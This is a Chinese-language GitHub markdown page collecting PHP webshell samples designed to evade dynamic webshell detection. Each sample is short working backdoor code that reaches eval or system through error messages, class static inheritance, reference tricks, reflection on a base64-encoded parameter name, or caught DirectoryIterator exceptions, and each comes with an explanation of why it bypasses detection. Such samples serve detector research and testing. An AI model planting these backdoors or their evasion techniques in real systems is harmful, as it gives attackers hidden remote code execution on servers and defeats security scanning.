Skip to content

Latest commit

 

History

History
87 lines (62 loc) · 2.23 KB

样本代码整理.md

File metadata and controls

87 lines (62 loc) · 2.23 KB

如果代码中有什么错误或者描述并不准确的,可以加我的微信:qiye_hack, 与我私下交流, 感谢。

<?php
if($_GET[j]>2){
    $a='sys'.$_GET[i];
    $a("ls");
}else{
     echo "hello";
}
  1. 报错方式:

$_GET[$_GET['aaa']];
$a= str_replace("Undefined index: ","",explode('|',error_get_last()["message"])[0]);
eval($a);

思路:error_get_last函数可以获取 上一次的错误信息,通过$_GET[$_GET['aaa']] 产生报错,通过报错信息将传入的变量进行间接传递交给eval执行。

  1. 父子类数据共享:
<?php
	class A { static $a; }
	class B extends A {}
	A::$a = $_GET[0];
	eval(B::$a);
?>

思路:将传入变量的值交给父类,但是子类可以获取父类的值,从而打断污点传播。

  1. unset绕过动态
<?php
function test(&$a){
    $a = $_GET["m"];
}
test(${$_GET["c"]});
eval($a);
?>

思路:

首先单独的eval($a)是不会告警的,这里通过一个双$$引用赋值间接控制$a变量,也就是必须传入特定的payload,动态才能正常的触发到恶意代码,但显然动态并没有那么智能,从而绕过了检测,payload为:c=a&m=system(ls)

  1. 利用反射
<?php
function test($ZXZhbCgkX0dFVFsxXSk7){
}
$a = new ReflectionFunction($_GET["m"]);
eval(base64_decode($a->getParameters()[0]->name));

思路: 这是一个比较巧妙的反射利用,首先构造一个特殊的反射函数或者类,其中的某个名称或者变量是一个代码执行的payload,其次利用反射类ReflectionFunction获取自定义构造函数,如上例中的函数参数名称,之后再调用执行。这种绕过动态的基本原理与之前相似,也是必须要传入特定的payload才能成功触发代码执行。

  1. 利用new特殊类绕过
<?php
try {
    new $_GET["c"]($_GET["m"]);
}catch (UnexpectedValueException $exception){
    eval(substr($exception->getMessage(),strlen('DirectoryIterator::__construct(')));
}

绕过原理:

首先测试到new $_GET["c"];并不会判断为恶意,然后我们就可以利用一些内置类进行构造,这里可以利用内置类DirectoryIterator构造报错UnexpectedValueException,然后捕获异常从而继续执行代码。